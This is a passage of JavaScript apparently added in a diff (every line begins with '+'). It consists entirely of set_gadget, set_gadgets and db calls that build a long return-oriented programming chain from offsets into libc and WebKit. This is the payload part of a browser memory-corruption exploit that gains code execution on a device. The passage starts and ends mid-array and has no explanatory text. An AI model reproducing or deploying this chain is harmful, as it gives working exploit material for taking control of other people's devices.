+]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+142896, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+142968, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+143080, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+143096, +webkit_base+4687784, +libc_base+388400, +libc_base+713278 +]); +db([16, 0]); +set_gadget(webkit_base+1420514,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+143184, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+143200, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+143328, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+143344, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+143312, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+143448, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+143464, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+143584, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+143568, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+143672, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+143656, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+143776, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+143792, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+143912, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+143896, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+143984, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+144096, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+144112, +webkit_base+4687784, +libc_base+388400, +libc_base+713278 +]); +db([16, 0]); +set_gadget(webkit_base+1420514,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+144200, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+144216, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+144376, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+144408, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+144360, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+144392, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+144568, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+144520, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+144536, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([32, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+144704, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+144720, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+144688, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+144824, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+144840, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+144960, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+144944, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+145048, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+145032, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+145152, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+145168, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+145288, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+145272, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+145360, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+145472, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+145488, +webkit_base+4687784, +libc_base+388400, +libc_base+713278 +]); +db([16, 0]); +set_gadget(webkit_base+1420514,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+145576, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+145592, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+229840, +libc_base+713278, +ropchain+145752, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+145704, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+145720, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([16, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+145808, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+145920, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+145952, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+145936, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+146112, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+146064, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+146080, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([48, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+146216, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+146200, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([8, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+857161, +libc_base+713278, +ropchain+146424, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+146392, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([48, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+146528, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+146512, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+146624, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+146712, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+146728, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+229840, +libc_base+713278, +ropchain+146888, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+146840, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+146856, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([16, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+146944, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+147056, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+147088, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+147072, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+147248, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+147200, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+147216, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([48, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+147352, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+147336, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([8, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+147552, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+147520, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([32, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+147656, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+147640, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857183, +libc_base+713278, +ropchain+147768, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+147736, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([48, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+147832, +webkit_base+4687784, +webkit_base+1816389, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+147888, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+72932, +libc_base+713278, +ropchain+148040, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+148056, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+148024, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+148216, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+148168, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+148184, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([48, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+148352, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+148368, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+148336, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+148472, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+148488, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+148608, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+148592, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+148696, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+148680, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+148800, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+148816, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+148936, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+148920, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+149008, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+149072, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+149192, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+149224, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+149320, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+149304, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([1, 0]); +set_gadget(libc_base+772328,); +db([1, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([1, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+772328 +]); +db([4096, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+149632, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+72932, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([1, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+772328 +]); +db([2, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+149824, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+72932, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+149952, +webkit_base+4687784, +libc_base+768796 +]); +db([65536, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([65536, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+150064, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+150048, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+150216, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+160336, +libc_base+863109, +libc_base+713278 +]); +db([4294967248, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+150312, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+150368, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([65536, 0]); +set_gadget(libc_base+772328,); +db([65536, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+150520, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+150576, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+150664, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967284, 4294967295]); +set_gadget(libc_base+772328,); +db([312, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+740138, +libc_base+713278 +]); +db([4294967284, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+150848, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+150864, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+151024, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+151056, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+151008, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+151040, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+151152, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+151136, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([1, 0]); +set_gadget(libc_base+772328,); +db([1, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+151376, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+151392, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+151360, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+151512, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+151496, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967284, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+740138, +libc_base+713278 +]); +db([4294967284, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+151640, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+151656, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+151816, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+151848, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+151800, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+151832, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+151944, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+151928, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+772328 +]); +db([15, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+152056, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+72932, +libc_base+713278, +ropchain+152208, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+152224, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+152192, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+152344, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+152328, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967284, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+740138, +libc_base+713278 +]); +db([4294967284, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+152472, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+152488, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+152648, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+152680, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+152632, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+152664, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+152776, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+152760, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([1, 0]); +set_gadget(libc_base+772328,); +db([1, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+153000, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+153016, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+152984, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+153136, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+153120, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967284, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+153280, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+153296, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, 